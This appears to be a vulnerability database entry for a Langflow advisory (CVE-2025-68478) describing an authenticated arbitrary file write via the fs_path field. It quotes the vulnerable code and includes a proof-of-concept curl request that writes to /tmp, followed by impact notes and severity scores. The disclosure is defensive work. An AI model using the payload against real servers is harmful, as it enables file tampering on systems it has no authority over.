Advisory details:
github_osv / GHSA-f43r-cc68-gpx4
| Advisory ID | github_osv/GHSA-f43r-cc68-gpx4 |
| Aliases |
CVE-2025-68478
|
| Summary | External Control of File Name or Path in Langflow **Vulnerability Overview** If an arbitrary path is specified in the request body's `fs_path`, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is. **Vulnerable Code** 1. It receives the request body (flow), updates the DB, and then passes it to the file-writing sink. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L154-L168 ```python @router.post("/", response_model=FlowRead, status_code=201) async def create_flow( *, session: DbSession, flow: FlowCreate, current_user: CurrentActiveUser, ): try: db_flow = await _new_flow(session=session, flow=flow, user_id=current_user.id) await session.commit() await session.refresh(db_flow) await _save_flow_to_fs(db_flow) except Exception as e: ``` 2. Applies authentication dependency (requires API Key/JWT) when accessing the endpoint. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/utils/core.py#L36-L38 ```python CurrentActiveUser = Annotated[User, Depends(get_current_active_user)] CurrentActiveMCPUser = Annotated[User, Depends(get_current_active_user_mcp)] DbSession = Annotated[AsyncSession, Depends(get_session)] ``` 3. The client can directly specify the save path, including `fs_path`. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L66-L70 ```python ): try: await _verify_fs_path(flow.fs_path) """Create a new flow.""" ``` 4. It attempts to create the file (or *the* file, in the case of a path without a parent) directly without path validation. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L45-L49 ```python async def _verify_fs_path(path: str | None) -> None: if path: path_ = Path(path) if not await path_.exists(): await path_.touch() ``` 5. Serializes the Flow object to JSON and writes it to the specified path in "w" mode (overwriting). https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L52-L58 ```python async def _save_flow_to_fs(flow: Flow) -> None: if flow.fs_path: async with async_open(flow.fs_path, "w") as f: try: await f.write(flow.model_dump_json()) except OSError: await logger.aexception("Failed to write flow %s to path %s", flow.name, flow.fs_path) ``` **PoC Description** When an authenticated user passes an arbitrary path in `fs_path`, the Flow JSON is written to that path. Since `/tmp` is usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions. **PoC** - **Before Exploit** <img width="1918" height="658" alt="image" src="https://github.com/user-attachments/assets/fe3c2306-091d-4cb0-b4dc-c7fb63c03d8d" /> - **After Exploit** ```bash curl -sS -X POST "http://localhost:7860/api/v1/flows/" \ -H "Content-Type: application/json" \ -H "x-api-key: sk-8Kyzf9IQ-UEJ_OtSTaJq4eniMT9_JKgZ7__q8PNkoxc" \ -d '{"name":"poc-etc","data":{"nodes":[],"edges":[]},"fs_path":"/tmp/POC.txt"}' ``` <img width="1918" height="742" alt="image" src="https://github.com/user-attachments/assets/cc0b0c96-1c2d-4d56-b558-5ba97e0ec174" /> ### Impact - **Authenticated Arbitrary File Write (within server permission scope):** Risk of corrupting configuration/log/task files, disrupting application behavior, and tampering with files read by other components. - **Both absolute and relative paths are allowed, enabling base directory traversal.** The risk of overwriting system files increases in environments with root privileges or weak mount/permission settings. - **The file content is limited to Flow JSON,** but the impact is severe if the target file is parsed by a JSON parser or is subject to subsequent processing. - **In production environments, it is essential to enforce a save root, normalize paths, block symlink traversal, and minimize permissions.** |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 6.4 |
| Risk | 3.2 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 7.1 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-f43r-cc68-gpx4/GHSA-f43r-cc68-gpx4.json |
| generic_textual | HIGH |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/langflow-ai/langflow | ||
| https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2025-125.yaml | ||
| CVE-2025-68478 | https://nvd.nist.gov/vuln/detail/CVE-2025-68478 | |
| GHSA-f43r-cc68-gpx4 | https://github.com/langflow-ai/langflow/security/advisories/GHSA-f43r-cc68-gpx4 |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-12-19T17:23:19Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/68xxx/CVE-2025-68478.json
Source Advisory: vulnrichment/CVE-2025-68478
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]